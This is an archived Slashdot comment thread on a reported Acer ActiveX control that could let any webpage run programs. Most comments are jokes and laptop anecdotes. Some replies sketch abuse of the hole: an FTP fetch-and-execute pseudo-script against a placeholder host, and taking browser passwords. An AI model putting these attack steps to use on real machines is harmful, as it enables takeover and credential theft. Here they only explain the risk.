Stories
Slash Boxes
Comments

News for nerds, stuff that matters

Acer May Be Bugging Computers

Posted by Zonk on Mon Jan 08, 2007 12:43 AM
from the might-want-to-look-into-this dept.
tomjen writes "What if a well known laptop company had silently placed an ActiveX Control on their computers that allowed any webpage to execute any program? Well Acer apparently has and they have (based on the last modified-by date of the file) been doing this since 1998. 'Checking the interface of the control reveals it has a method named "Run()" as shown below. The method supports parameters "Drive", "FileName", and "CmdLine". Isn't it strange for a control that's marked "safe for scripting" to allow a method that is suggestive of possible abuse?'"
This discussion has been archived. No new comments can be posted.
Display Options Threshold:
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
  • But dude... (Score:5, Funny)

    They're Ferrari's
  • Phew! (Score:1, Interesting)

    by gardyloo (512791) on Monday January 08 2007, @12:47AM (#17504720)
    Typing this on an Acer laptop. Sure glad I wiped the thing immediately and put linux on. So far I've really liked the laptop, but Acer is one company which gives you "restore" DVDs which contain a disk image and which wipe everything else off if you want to use them to reinstall Windows. Hate that.
    • Re:Phew! (Score:5, Funny)

      by BrainInAJar (584756) on Monday January 08 2007, @12:49AM (#17504736)
      Mine shipped with Linux, which I immediately wiped & installed FreeBSD, but I appreciate the thought
      [ Parent ]
      • Re:Phew! (Score:5, Funny)

        by gardyloo (512791) on Monday January 08 2007, @12:53AM (#17504760)
        Haha. I was just joking. I actually use mine by drilling through the case, and making and breaking a couple of connections between the motherboard and three "C" cells hooked in series with paperclips. Manually, beeyotch. Real men type in raw binary without the keyboard. But I appreciate the thought.
        [ Parent ]
        • Re:Phew! by Anonymous Coward (Score:1) Monday January 08 2007, @02:52PM
          • 1 reply beneath your current threshold.
        • Re:Phew! (Score:5, Funny)

          by Dilaudid (574715) on Monday January 08 2007, @06:34AM (#17506482)
          Old? Hah I rememember trolling by morse code back when slashdot was a ham radio channel.
          [ Parent ]
          • Re:Phew! (Score:4, Funny)

            by pallmall1 (882819) on Monday January 08 2007, @06:56AM (#17506610)
            And liked it!
            [ Parent ]
          • Re:Phew! by MMC Monster (Score:2) Monday January 08 2007, @09:23AM
            • Re:Phew! by JudgeFurious (Score:1) Monday January 08 2007, @09:37AM
              • Re:Phew! by Anonymous Coward (Score:2) Monday January 08 2007, @09:53AM
                • Re:Phew! by fwarren (Score:2) Monday January 08 2007, @12:36PM
              • Re:Phew! by bigdavesmith (Score:2) Monday January 08 2007, @10:03AM
                • Re:Phew! by d3ac0n (Score:2) Monday January 08 2007, @11:22AM
              • Re:Phew! by AJWM (Score:3) Monday January 08 2007, @11:19AM
              • 1 reply beneath your current threshold.
          • Re:Phew! by Anonymous Coward (Score:2) Monday January 08 2007, @09:41AM
            • The winner by gardyloo (Score:2) Monday January 08 2007, @01:07PM
          • Re:Phew! by blincoln (Score:2) Monday January 08 2007, @10:13AM
            • Re:Phew! by allanc (Score:2) Monday January 08 2007, @02:32PM
          • Re:Phew! (Score:5, Funny)

            I rememember trolling by morse code back when slashdot was a ham radio channel.

            Youngsters these days. Back then it was called dashdot, it predated even radio, the oldest of us trolled with semaphores. With the introduction of electrickity, the whole telegraph scene took off. Then some guy named Morse forked the project and publicised the code as his own. It's been downhill ever since.

            Hitches up his braces, fires some chaw in the spittoon, waits for someone older to out-troll

            the AC
            [ Parent ]
            • Re:Phew! by JazzLad (Score:1) Monday January 08 2007, @11:27AM
            • Re:Phew! by Alsee (Score:2) Monday January 08 2007, @08:15PM
          • CPTP by einnar2000 (Score:1) Monday January 08 2007, @11:28AM
        • Re:Phew! (Score:4, Funny)

          Someone please mod this agressive idiot to hell....please.
          There is no "-1 sinful" moderation, sorry.
          [ Parent ]
          • Re:Phew! by cadeon (Score:2) Monday January 08 2007, @10:59AM
        • 1 reply beneath your current threshold.
      • Re:Phew! by Kadin2048 (Score:2) Monday January 08 2007, @01:33AM
        • Re:Phew! by mikek3332002 (Score:1) Monday January 08 2007, @01:42AM
        • Re:Phew! (Score:4, Interesting)

          by BrainInAJar (584756) on Monday January 08 2007, @02:16AM (#17505232)
          There was a local computer store in town that was selling them, and apparantly Acer shipped them to the store with Linux preinstalled. Some strange Chinese distro I'd never heard of... I'd reccomend the laptop, yeah... Served me well so far... warranty just expired and I've had no need to use it.

          and no, I wasn't going for humour mods... my laptop actually shipped with Linux, and I did wipe it for FreeBSD (it runs OpenSolaris now, but that's beyond the point).
          [ Parent ]
          • Re:Phew! by jamar0303 (Score:1) Monday January 08 2007, @05:08AM
          • Re:Phew! by Zontar The Mindless (Score:2) Monday January 08 2007, @05:23AM
          • 1 reply beneath your current threshold.
        • Re:Phew! (Score:5, Informative)

          by belmolis (702863) <billposerNO@SPAMalum.mit.edu> on Monday January 08 2007, @02:33AM (#17505344)
          (http://billposer.org/)

          I recently bought a laptop with Ubuntu pre-installed from The Linux Store [thelinuxstore.ca], which is in Ontario. I've been perfectly satisfied aside from the minor point that they only offer the choice of Ubuntu and Fedora Core when I would have preferred Debian.

          [ Parent ]
          • Re:Phew! (Score:4, Insightful)

            by DaveCar (189300) on Monday January 08 2007, @07:18AM (#17506742)
            Heh, if you're the kind of anal-retentive who runs Debian then you'd probably have an problem with which version of Debian they installed. Then the kernel version, then the desktop environment ... if you want to run Debian it is probably easier on everyone if you just install it yourself ...

            I run Debian ;-)
            [ Parent ]
          • There are at least two Ontarios by Better.Safe.Than.Sor (Score:1) Monday January 08 2007, @11:23AM
            • 1 reply beneath your current threshold.
          • 1 reply beneath your current threshold.
        • Re:Phew! by Brian Gordon (Score:1) Monday January 08 2007, @02:43AM
          • Re:Phew! by DrSkwid (Score:2) Monday January 08 2007, @05:56AM
            • Re:Phew! by mrchaotica (Score:2) Monday January 08 2007, @08:39AM
              • Re:Phew! by cloudmaster (Score:2) Monday January 08 2007, @10:38AM
              • oops, you're right by DrSkwid (Score:2) Monday January 08 2007, @10:46AM
              • Re:Phew! by mrchaotica (Score:2) Monday January 08 2007, @01:56PM
        • Re:Phew! by KDR_11k (Score:2) Monday January 08 2007, @03:10AM
        • Re:Phew! by FunkyELF (Score:1) Monday January 08 2007, @09:42AM
        • Re:Phew! by Badfysh (Score:1) Monday January 08 2007, @10:40AM
      • Re:Phew! (Score:5, Funny)

        by Linker3000 (626634) on Monday January 08 2007, @03:51AM (#17505750)
        Meh,

        I immediately reformatted my newly-purchased Acer's hard disk, installed DR-DOS and Crosstalk and do all my computing on a VAX 11/750.

        Next...
        [ Parent ]
        • Re:Phew! by Tore S B (Score:2) Monday January 08 2007, @11:16AM
          • Re:Phew! by crawling_chaos (Score:2) Monday January 08 2007, @03:00PM
        • Re:Phew! by james_in_denver (Score:2) Monday January 08 2007, @07:50PM
        • Loser by Anonymous Coward (Score:1) Monday January 08 2007, @08:57AM
          • Re:Loser by Flashpot (Score:1) Monday January 08 2007, @10:09AM
        • 1 reply beneath your current threshold.
      • Note: The following comments are legitimate information, designed to help people help themselves. I am not an Acer fanboy (I reserve that for SanDisk), but I like my laptop. YMMV.
        Actually, I have an Acer Aspire 1640. It's a nice machine for the $799 I got it for about 6 months ago. And Acer doesn't load a bunch of AOL/WildTangent/EarthLink/etc useless "applications" that are bundled because they can't stand on their own, like certain other manufacturers *cough*Dell*cough*HP*cough*. The few things that were bundled (counted on *maybe* 2 hands) were actually useful.
        Once I got to college (where I have access to $10 Win XP Pro discs) I wiped it, reinstalled Windows (gasp!) *and* Ubuntu Linux. Works great, and with 120GB HD, plenty of space for both OS's. The Windows works great, since it's very light (only Windows-only stuff, everything else is on Ubuntu+Wine).
        Hardware support on Linux is pretty decent. After some elbow grease, wireless, ethernet, widescreen, CPU power stepping, Sansa m250, even hardware buttons are working. Sound is the only thing I'm not sure about, output works fine, input seems finicky. I could probably fix it, but I don't care that much yet.

        So...I'm not that concerned. Besides, who uses Internet Explorer anyway?
        (That was sarcasm. I know the correct answer is "98% of everyone, luser!")
        (That was sarcasm too. I know the correct answer is really "No, it's 89%, n00b!!11!!BBQ!! Look at my fancy link [example.com]!!")
        (Other appropriate comments include "I for one welcome our new Acer-invited overlords", "In soviet russia, computers bug Acer!", "I use lynx, you insensitive clod", "Ubuntu sux. [Insert Distro Name Here] is sooo, like, better because [insert unsubtantiated claim here].", etc., ad infinitum.)
        [ Parent ]
      • Re:Phew! by ThomS (Score:2) Monday January 08 2007, @07:40AM
        • Re:Phew! by rjshields (Score:2) Monday January 08 2007, @08:52AM
          • Re:Phew! by FlyingSquidStudios (Score:2) Monday January 08 2007, @09:33AM
            • Re:Phew! by bigsam411 (Score:1) Monday January 08 2007, @10:42AM
              • Re:Phew! by FinalCut (Score:1) Monday January 08 2007, @10:59AM
              • Re:Phew! by Archangel Michael (Score:2) Monday January 08 2007, @11:55AM
              • Re:Phew! by Em Adespoton (Score:2) Monday January 08 2007, @01:13PM
              • Re:Phew! by Archangel Michael (Score:2) Monday January 08 2007, @01:44PM
              • Re:Phew! by Em Adespoton (Score:2) Monday January 08 2007, @03:06PM
          • 1 reply beneath your current threshold.
      • Re:Phew! by HiThere (Score:2) Monday January 08 2007, @01:46PM
    • Re:Phew! by GFLPraxis (Score:3) Monday January 08 2007, @12:50AM
      • Re:Phew! (Score:4, Informative)

        by mallardtheduck (760315) <stuartbrockman.hotmail@com> on Monday January 08 2007, @12:58AM (#17504786)
        My HP notebook, bought about 15 months ago not only came with restore disks, but a plain Windows XP SP2 disk and disks for WinDVD and Sonic's CD recording software.

        I don't know about SONY, but in my experience, HP are more generous than most in terms if disks included with their PCs.
        [ Parent ]
        • Re:Phew! by jellie (Score:1) Monday January 08 2007, @02:25AM
          • Re:Phew! by aerthling (Score:1) Monday January 08 2007, @02:42AM
          • Re:Phew! by TheSpoom (Score:2) Monday January 08 2007, @07:04AM
        • Re:Phew! by Bargearse (Score:1) Monday January 08 2007, @02:39AM
        • Re:Phew! by Anonymous Coward (Score:1) Monday January 08 2007, @02:51AM
        • Re:Phew! by Zardoz44 (Score:3) Monday January 08 2007, @07:37AM
        • Re:Phew! by Tauvix (Score:3) Monday January 08 2007, @07:50AM
        • Re:Phew! by ocbwilg (Score:2) Monday January 08 2007, @08:42AM
          • 1 reply beneath your current threshold.
        • Re:Phew! by Tinfoil (Score:2) Monday January 08 2007, @09:54AM
          • Re:Phew! by cyber-dragon.net (Score:2) Monday January 08 2007, @11:46AM
      • Re:Phew! by aauu (Score:1) Monday January 08 2007, @01:07AM
        • Re:Phew! by totally bogus dude (Score:1) Monday January 08 2007, @03:36AM
        • 1 reply beneath your current threshold.
      • Re:Phew! (Score:4, Informative)

        by phalse phace (454635) on Monday January 08 2007, @01:42AM (#17505078)
        Don't know about you, but I wouldn't call $20 a ridiculous amount to pay for a set of restore disks. And you can avoid paying the $20 or so by burning your own set of restore disks... my HP notebook prompted me to do so when I first turned it on. It just burns an image of the restore partition on the C: drive. If you forget or decide you want to do it later, it will/can remind you again in a couple days or so.
        [ Parent ]
        • Re:Phew! (Score:4, Informative)

          by Propaganda13 (312548) on Monday January 08 2007, @02:38AM (#17505366)
          Corrupt that extra partition and see how far that "restore" disk gets you. It's not the regular Windows restore disk that used to come with computers and it's definitely not a Windows disk. It won't work without the data on the partition.

          $20 for the set of disks + $52.50(Dell refunded price for Windows) is about the same price you could buy Windows XP Home OEM version for.
          [ Parent ]
          • Re:Phew! by jamar0303 (Score:1) Monday January 08 2007, @05:16AM
          • Re:Phew! by dianebrat (Score:1) Monday January 08 2007, @08:32AM
            • Re:Phew! by d3ac0n (Score:2) Monday January 08 2007, @12:12PM
            • Re:Phew! by Propaganda13 (Score:2) Monday January 08 2007, @07:12PM
        • Re:Phew! by Splab (Score:3) Monday January 08 2007, @04:02AM
          • Re:Phew! by TravisWatkins (Score:2) Wednesday January 10 2007, @11:38AM
      • Re:Phew! by KDR_11k (Score:1) Monday January 08 2007, @03:17AM
      • That's BS (Score:4, Informative)

        by cheros (223479) on Monday January 08 2007, @03:34AM (#17505664)
        Sony and HP don't include restore disks because they're harder to keep current than a production disk image - they're DVDs, not CDs.

        All you need to do is burn the images (DVDs) when you get the laptop, and Sony positively nags you repeatedly to do it. Also, if you leave the recovery partition in place you can do it again later.

        As for getting the original DVDs, they don't charge a ridiculous amount (in the $60 region) but they do ask for a ridiculous amount of proof that it's your own laptop and you're not going to share the disks with the world..

        Don't know about HP, but have handled enough Sony laptops :-)
        [ Parent ]
        • Re:That's BS by fireboy1919 (Score:2) Tuesday January 09 2007, @07:39AM
        • 1 reply beneath your current threshold.
      • Re:Phew! by man_of_mr_e (Score:2) Monday January 08 2007, @04:21AM
      • Re:Phew! by jamar0303 (Score:1) Monday January 08 2007, @05:13AM
      • Re:Phew! by east coast (Score:2) Monday January 08 2007, @01:07PM
      • Re:Phew! (Score:5, Funny)

        by pboulang (16954) on Monday January 08 2007, @01:11AM (#17504880)
        I spend a hundred bucks on dinner sometimes, and that's just for me, not including the babe or the vino. Sheesh.
        Do you have to pay for the babe by the hour or is it a flat rate?
        [ Parent ]
        • Re:Phew! by glesga_kiss (Score:2) Monday January 08 2007, @09:40AM
        • 2 replies beneath your current threshold.
      • Re:Phew! by mikkelm (Score:1) Monday January 08 2007, @03:50AM
      • 1 reply beneath your current threshold.
    • Re:Phew! by east coast (Score:3) Monday January 08 2007, @12:58AM
    • Re:Phew! by bilbravo (Score:2) Monday January 08 2007, @08:28AM
    • Re:Phew! by tim_uk (Score:2) Monday January 08 2007, @08:34AM
    • Re:Phew! by mikael (Score:2) Monday January 08 2007, @09:09AM
    • Acer's stuck on FAT by evuraan (Score:1) Monday January 08 2007, @02:00PM
    • Re:Phew! by number11 (Score:2) Monday January 08 2007, @03:42PM
    • 4 replies beneath your current threshold.
  • And now that it's publicized... (Score:5, Interesting)

    by mallardtheduck (760315) <stuartbrockman.hotmail@com> on Monday January 08 2007, @12:49AM (#17504740)
    I expect exploits for this to start appearing within days, if not hours...
  • present on Aspire 1690 (Score:3, Informative)

    by Phil246 (803464) on Monday January 08 2007, @12:55AM (#17504766)
    Checked mine, its present :( Anyone know if its safe to make that file and its registry entry 'disappear' ?
  • The 4th USB port (Score:4, Interesting)

    I once bought a Fujitsu-Siemens laptop with 3 USB ports, but when I opened it I noticed it had a non-visible 4th USB port near the hard disk that you needed a screwdriver in order to access. No mention of it in Fujitsu-Siemen's manuals and other documentation that I got with the laptop, and no mention of it on their website. Although visually hidden, the port was visible via diagnostics software. I thought that this could be one way to put a spy antenna or other device on a laptop (a USB port provides 500mA of power which is enough to power a large range of antennas and electronics). It could be used to put an anti-theft antenna revealing the laptop's location, to put a keylogger, or to put a backup device. In the end I just put a permanent flash key drive in it so I had a laptop with permanent flash storage in addition to the hard disk.
    • Re:The 4th USB port (Score:5, Insightful)

      by mallardtheduck (760315) <stuartbrockman.hotmail@com> on Monday January 08 2007, @01:06AM (#17504844)
      Could just be there for optional "built-in" bluetooth or Wifi. A USB module is probably cheaper than an Mini-PCI.
      Plus, if they do no wireless, Wifi-only and Wifi+BT models, with a single Mini-PCI slot, they would need both Wifi and Wifi+BT cards, if they have a "hidden" USB port, they only need to stock Wifi mini-PCI cards and USB bluetooth adapters, the same adapters that are sold independently.
      [ Parent ]
    • Re:The 4th USB port by starwed (Score:3) Monday January 08 2007, @01:10AM
    • It's an appendix. (Score:5, Interesting)

      I think a lot of computers have internal ports that were put in there as part of the original board design, but were never taken advantage of during configuration or subsequent system design.

      In an old Mac of mine (G4 "Sawtooth"), there is an internal Firewire port right on the motherboard, even though there are virtually no (to my knowledge anyway) internal Firewire devices available. The most useful thing you can do with it is run it out to a dummy card-slot panel and give yourself an extra external port. (I suppose you could also run another HD by using a IDE to FW converter card, if you could find a small enough one.)

      It's there, I suspect, because when they were designing that mobo, it wasn't clear that Firewire would be used primarily for DV and external peripherals, and wouldn't become the internal-peripheral interconnect of choice. For all the designers knew, Firewire could have become like SATA is today, with hard drives being built for it natively. In that case, having one inside the case could be useful as hell (particularly since that machine has space for 4 or 6 internal 3.5" HDs and 2 removable-media drives). They had no way of knowing that it would end up being the electronics version of an appendix.

      I suspect if you were to look around closely at the first generations of a lot of technologies, you'd find a lot of things like this; design decisions made for possibilities that just didn't pan out, but were left there anyway.
      [ Parent ]
      • Re:It's an appendix. by Zouden (Score:3) Monday January 08 2007, @03:14AM
      • PHB == appendix (Score:5, Interesting)

        by TapeCutter (624760) on Monday January 08 2007, @05:08AM (#17506050)
        (Last Journal: Tuesday February 13 2007, @05:31PM)
        I know that some, but certainly not all, "hidden" hardware/software is the result of a PHB "work-around", I submit the following anecdote about illogical engineering vs optimal solutions....

        Many moons ago I worked on a large project where we supplied a logistics application along with 8000 laptops that we were also expected to maintain. The spec's for the laptop's were written into the $80M/5yr contract, in particular the contract specified "special" (ie: manafactured by our sister company) laptops with a 120M HDD. A thousand or so laptops were delivered immediately, I suspect this was mainly to garner a large initial payment, 800 were then stored in a warehouse by the customer for 2yrs while we wrote the software and ran a pilot with the other 200.

        When it came time to ramp up to full production we found we could no longer get 120M HDD's but could get 250M for the same price (the HDD's were third party PCMCIA cards that were supposed to be "pre-imaged" by the hardware guys). The Dilbert moment happened when a PHB with way too much time on his hands had to sign the purchase order and demanded 120M HDD's because "that's what's it says in the contract". The solution was illogical but effective, we quietly arranged for our hardware friends to format the 250M physical drive into a 120M logical drive and ignore the remaning space (and told them why). A few PHB readable edits to the PO and hey presto a warehouse full of laptops with our software pre-installed on 120M drives and an extra PHB-invisible partion.

        Now throwing away half the drive is clearlly illogical but in my mind it was the "optimal" solution, with the possible exception of a time consuming appendectomy that would gum up the workflow for weeks/months and could possibly result in a devil we didn't know taking over. I also say "optimal" because: The PHB belived he had asserted his authority over the project and a rival PHB in the sister company, all with just one demand. From what I recall he went off to pester someone else and gloat about it. Not only did it nueter the PHB but HR, the lawyers and the accountants were kept in their cages, the techies got a good laugh, and the customer remained oblivious to the whole fiasco.

        Finally, a year or so into production when the image size started to bloat towards the 120M limit, the same PHB asked for a costing to retrofit bigger drives, like any good salesman we umm'ed and ahh'ed then went off to "see what we could do" before announcing we could remotely activate a new D: drive on a standard update cycle using some simple "magic" and a couple of mandays labour. The news delighted the PHB who promptly added a manday for his own "time". We didn't even hint that it was his previous demand had caused the current space squeeze, we simply saved our eveidence in case an appendectomy was required at some future random impasse. We also saved all the "can do" brownie points for the next time we had to convince the same PHB that his proposed solution to some imaginary problem really, truly, is a "can't do" situation, regardless of what PC week says.
        [ Parent ]
      • Re:It's an appendix. by Garrett Fox (Score:1) Monday January 08 2007, @07:49AM
      • 1 reply beneath your current threshold.
    • Re:The 4th USB port by dreamlax (Score:1) Monday January 08 2007, @02:12AM
    • 1 reply beneath your current threshold.
  • by Toddlerbob (705732) on Monday January 08 2007, @12:59AM (#17504798)
    Is there simply a file I can delete to fix this? I got an Acer desktop for my sister, and I'd like to tell her what to delete to get rid of this threat.
  • Isn't it a little bit naive (Score:3, Interesting)

    by zappepcs (820751) on Monday January 08 2007, @01:00AM (#17504814)
    (Last Journal: Friday May 18, @11:07AM)
    to think that Acer and others have not been doing this for years? Put on the tin foil hat now, they may be doing so in conjunction with governments. Lets not stop there, your ISP and phone company might also be doing the same thing?

    I bet that buried in the EULA somewhere is a statement about remote support or some other such thing that would negate any complaints about this code as far as culpability goes. Wonder what they will do now that the botnet boys know its there? Just one more reason that people who want to have a safe computer should learn how to administer one properly... IMO.
  • to those of us uneducated (Score:1, Interesting)

    by Anonymous Coward on Monday January 08 2007, @01:03AM (#17504824)
    Please give examples or something of how this could be used for ill purposes. Yes, I realize it is obvious to most people but I'm a beginner. I do not know what harm can come of the power, in and of itself, of being able to run a program that is already on computer. Would one, through this particular acer thing, be able to pass things to that program and then have that program in turn do other bad things or what? Please give rudimentary examples.
    • Re:to those of us uneducated (Score:5, Informative)

      by Anonymous Coward on Monday January 08 2007, @01:09AM (#17504866)
      Please give examples or something of how this could be used for ill purposes. Yes, I realize it is obvious to most people but I'm a beginner. I do not know what harm can come of the power, in and of itself, of being able to run a program that is already on computer. Would one, through this particular acer thing, be able to pass things to that program and then have that program in turn do other bad things or what? Please give rudimentary examples.
      One could, for example, use the Windows ftp.exe client to download an arbitrary program (e.g. botnet software) and then execute it. I'm certain there are even better ways to do it but this one could work well enough to completely take over the machine.
      [ Parent ]
    • Re:to those of us uneducated (Score:4, Informative)

      by codepunk (167897) on Monday January 08 2007, @01:16AM (#17504922)
      (http://www.codepunk.com/)
      I have not seen the control or have a copy of it but it can be a simple as a couple of lines
      of script in a web page. Now I can possibly own most acer laptops visiting that page.

      The script could do something like this
      ftp somehost
      ftp get somefile
      execute somefile

      Bingo I own your laptop.

      Or say I just ftp your firefox data so I can grab your history, passwords etc.

      [ Parent ]
    • Re:to those of us uneducated (Score:5, Interesting)

      by djupedal (584558) on Monday January 08 2007, @01:35AM (#17505046)
      "Please give examples or something of how this could be used for ill purposes. Yes, I realize it is obvious to most people but I'm a beginner."

      A beginner & an AC - wants to know exactly how to execute the 'bad thing', and promises not to inhale :)

      Oh...rudimentary...well, that's different. Since Acer would presumably have the power to control any aspect of your computer when you use it to log onto any webpage, all they need to do is to wait for you to access a site under their control, and bingo, they can lift all of your installation logs, cookies, saved passwords, MS WORD docs containing the words 'budget; personal; finance; medical; records; debt; sex, SSN (and all applicable variants),etc.

      OK, let's say you are gullible enough to think that they can take all of that they want, and still not put you at risk - now, think for just a moment about who 'they' are...? What are the odds of 'they' going to all that trouble and not having some plan to do something with what they glean that you will not be pleased with...? Still not impressed?

      How's this... Acer sits around and waits for just the right time and boom - they toggle a flag on your computer that makes it appear that it needs to have XYZ repaired, and what do you know, the only resource is...ACER!!

      A new age variation on the old water-bag trick. One guy owned two service stations. One station was the last stop before heading out of LA, into the desert, heading for Palm Springs. The other was the last service station before heading out of Palm Springs, out across the desert, heading for LA. When a car stops on the LA side, the station staff sell the unaware traveler a scary story about being in the desert and having the car break down from overheating. Seems, tho, if you buy a canvas water-bag filled with water, and hang it on your car's front grille, it will supposedly help cool the air before it flows across the radiator. Best insurance money can buy. Thank ya now, ya'll have a safe trip! :)

      Problem is, that big 'ol canvas bag actually blocks the airflow, and by the time you get near the other side of the desert, your car overheats and you have to pay the Palm Springs service station to come and tow your car and fix everything that broke from overheating. Not a small fee, even in those days. They explain how the bag is what did the damage, and the hapless owner tells them to keep it.

      What do you think the Palm Springs service station guys do with the demon water-bag? Well, of course, they sell it to the next dupe going from there to LA, and even help by attaching it to the grille of his car. Thank ya now, ya'll have a safe trip! :)

      I figure that one bag most likely made dozens of round trips across the Mohave, and put at least two generations of kids thru law school :)

      Rumor has it owning those two stations was the fastest way to retirement until the big casinos came in and the real pocket-picking took off.
      [ Parent ]
    • Re:to those of us uneducated by fabs64 (Score:1) Monday January 08 2007, @01:36AM
    • Re:to those of us uneducated by dezert_fox (Score:2) Monday January 08 2007, @02:45AM
    • Re:to those of us uneducated by flyingfsck (Score:2) Monday January 08 2007, @03:29AM
    • Re:to those of us uneducated by rune420 (Score:1) Monday January 08 2007, @03:51AM
    • Re:to those of us uneducated by Dr. Blue (Score:2) Monday January 08 2007, @09:47AM
    • 2 replies beneath your current threshold.
  • Lessons learned... (Score:5, Insightful)

    by Anonymous Coward on Monday January 08 2007, @01:11AM (#17504882)
    1) Whenever possible, build your own.

    2) When you can't build your own (laptops), *always* re-install your OS after purchasing a new computer, and for God's sake use a real install CD and not the recovery one provided by the manufacturer.
  • cvrsd;lk.a5df.a,pfll; (Score:2, Funny)

    by Tablizer (95088) on Monday January 08 2007, @01:11AM (#17504886)
    (http://www.geocities.com/tablizer | Last Journal: Saturday March 15 2003, @01:22PM)
    Can't...get...back...contr...Everything is Fine and Happy. Nothing to Worry About. Have a Nice Day!
         
    • 1 reply beneath your current threshold.
  • LunchApp.ocx (Score:5, Funny)

    by snicho99 (984884) on Monday January 08 2007, @01:15AM (#17504912)
    Don't panic. It's not a method for launching applications.

    The original article failed to notice that it's a Lunch application. It's actually a throw back to when Acer briefly partnered up with 180solutions to deliver targeted pop-under sandwiches to hungry laptop owners. The idea being that after seventeen hours of trying to uninstall Bonsai Buddy the computer user would be debilitated through starvation and susceptible receptive to sp(iced h)am..

    The program was abandoned when Acer's engineers failed to perfect the wasabi-over-ip protocol - leaving the whole system unreliable an prone to bagel overrun.

    • Re:LunchApp.ocx by OldManAndTheC++ (Score:2) Monday January 08 2007, @02:06AM
    • 1 reply beneath your current threshold.
  • SWAH!?! (Score:5, Funny)

    by foo fighter (151863) on Monday January 08 2007, @01:21AM (#17504948)
    (http://news.google.com/)
    This news is unbelievable.

    Acer still makes computers? People still buy them?

    I remember Acer being a budget brand with a bad rep for quality and customer service back in the mid- to late-90s. I can't believe they are still a going concern.
     
    • Re:SWAH!?! by pchan- (Score:2) Monday January 08 2007, @02:05AM
      • Re:SWAH!?! by BrainInAJar (Score:2) Monday January 08 2007, @02:12AM
      • Re:SWAH!?! by glesga_kiss (Score:2) Monday January 08 2007, @10:01AM
      • Re:SWAH!?! by toddestan (Score:2) Monday January 08 2007, @08:16PM
    • Re:SWAH!?! by PyroMosh (Score:2) Monday January 08 2007, @02:43AM
    • Re:SWAH!?! by The Cydonian (Score:2) Monday January 08 2007, @02:53AM
      • Re:SWAH!?! (Score:5, Interesting)

        by p0tat03 (985078) on Monday January 08 2007, @03:25AM (#17505620)
        (http://www.jerrywong.net/)

        Depends on what you mean by that. I'm prepared to believe that Acer, or some of its subsidiaries, handles a significant amount of manufacturing for otherwise famous (and respected) OEM brands. That said, Acers are junk, some of those brands are not.

        Having worked in manufacturing, I can say with confidence that it's *usually true* that the manufacturer can just about build anything to any quality level you desire, the only force stopping you is the almighty dollar. I worked in an auto parts plant, and we made the crappiest of parts that would die on you after a couple years to the most premium of car parts that would go on working for decades... It all depends on how much the customer is paying.

        I suspect Acer, Asus, Foxconn, and any other manufacturing contractors are exactly like this. While Acer's own branded laptops are invariably crap (waaaaay too many bad experiences, ugh), I would not be surprised in the least if quality laptops are made under the same roof, for other people.

        [ Parent ]
        • contract manufacturing of computers (Score:4, Interesting)

          by smellsofbikes (890263) on Monday January 08 2007, @11:44AM (#17509610)
          (Last Journal: Wednesday October 05 2005, @10:39AM)
          I worked at a place that actually built servers and desktops for Dell and HP, among others. You're correct: we built to a required price point. HP servers were 100% functionality tested, multiple times, in hot/cold chambers. HP desktops were 100% functionality tested. Dell desktops were power-on tested. We built motherboards for someone, I don't know whom, that weren't even power-on tested, just shorts-tested on automated test equipment.
          [ Parent ]
        • Re:SWAH!?! by nikster (Score:3) Tuesday January 09 2007, @02:46AM
        • Re:SWAH!?! by Devistater (Score:2) Tuesday January 09 2007, @03:49AM
          • Re:SWAH!?! by p0tat03 (Score:2) Tuesday January 09 2007, @08:23AM
        • Re:SWAH!?! by The Cydonian (Score:2) Tuesday January 09 2007, @11:19PM
      • Re:SWAH!?! by GaryPatterson (Score:2) Monday January 08 2007, @06:50AM
    • Re:SWAH!?! by xtracto (Score:2) Monday January 08 2007, @03:52AM
    • Re:SWAH!?! by bilbravo (Score:2) Monday January 08 2007, @08:47AM
    • 1 reply beneath your current threshold.
  • Late again! (Score:5, Informative)

    by whoever57 (658626) on Monday January 08 2007, @01:32AM (#17505014)
    (Last Journal: Thursday September 30 2004, @01:33AM)
    Apparently, someone in Brazil noticed this last November [extremepc.com.br]
    • 1 reply beneath your current threshold.
  • Easy fix for this problem (Score:2, Insightful)

    by Shadyman (939863) on Monday January 08 2007, @01:33AM (#17505032)
    (http://erroraccessdenied.com/)
    1. Format your hard disk 2. Install Linux 3. Return your Windows for a refund (Profit!)
  • "Pre-hosed" -- always wipe it (Score:4, Interesting)

    by mlts (1038732) on Monday January 08 2007, @01:43AM (#17505082)
    On all new computers, be PCs, Suns, RS/6000s, or anything, after getting the machine out of the box and plugged in, I tar (or ghost in the case of PC recovery partitions) off anything preinstalled to two backups, then format the hard disk (or disks/arrays) on the machine. After the disks are formatted, I then install the OS and drivers and get the machine to the latest patches that I can via CDs. Only after this and a lockdown check does the machine see the network.

    I've just seen too many machines come pre-hosed from the factory. For anything that sees production use, I want to pack my own parachute and know exactly what is on the machine.

    On PCs, I try to find drivers from the underlying OEM rather than depend on the PC vendor, as usually the PC vendor's drivers tend to be outdated, except for motherboard/system board/IO planar flash.
  • Who Wudda Thought (Score:2)

    by BoRegardless (721219) on Monday January 08 2007, @01:48AM (#17505102)
    Anyone would be that utterly deceptive...I mean...certainly not a manufacturer of hardware...or certainly not a major software developer...uh...oh, I forgot, except for those accidental bugs in the OS software...and indeed the unfortunate BBBBrowser.
  • Aspire Phone Home (Score:1)

    by CranberryKing (776846) on Monday January 08 2007, @02:01AM (#17505164)
    No suprise really. Nice little machine but the battery sucks ass. 1 hour average.

    What I want is a support/download page that works like allofmp3. A company and site that respects it's customers and provides what they want without any BS.
  • by suv4x4 (956391) on Monday January 08 2007, @02:15AM (#17505228)
    Notice that in the article if you have IE7 it'll stop the attack since the user will be notified the page executes an unknown ActiveX and ask for permission (in the yellow creeping bar) before doing anything.

    Of course IE7 is only at 20% vs IE6 at more than 60%, but still, shows the browser going in the right direction.
    • I'm not impressed with this IE7 "improvement" by Cafe Alpha (Score:1) Monday January 08 2007, @02:26AM
      • Re:I'm not impressed with this IE7 "improvement" by suv4x4 (Score:3) Monday January 08 2007, @02:33AM
        • Re:I'm not impressed with this IE7 "improvement" by Cafe Alpha (Score:1) Monday January 08 2007, @02:45AM
          • by suv4x4 (956391) on Monday January 08 2007, @03:02AM (#17505502)
            You may be shocked to realize that Firefox plugins and extensions don't run in any sandbox at all. They in fact have access to any resource Firefox has, which on a Windows machine is usually administrator capabilities.

            So what was the beef with ActiveX again?

            Oh, and in Vista, IE7 runs in limited mode even on admin accounts, so ActiveX controls are limited too. Firefox so far doesn't take advantage of this.

            It's easy to open wide a big mouth and flame Microsoft, but the thing is: how is the competition better?

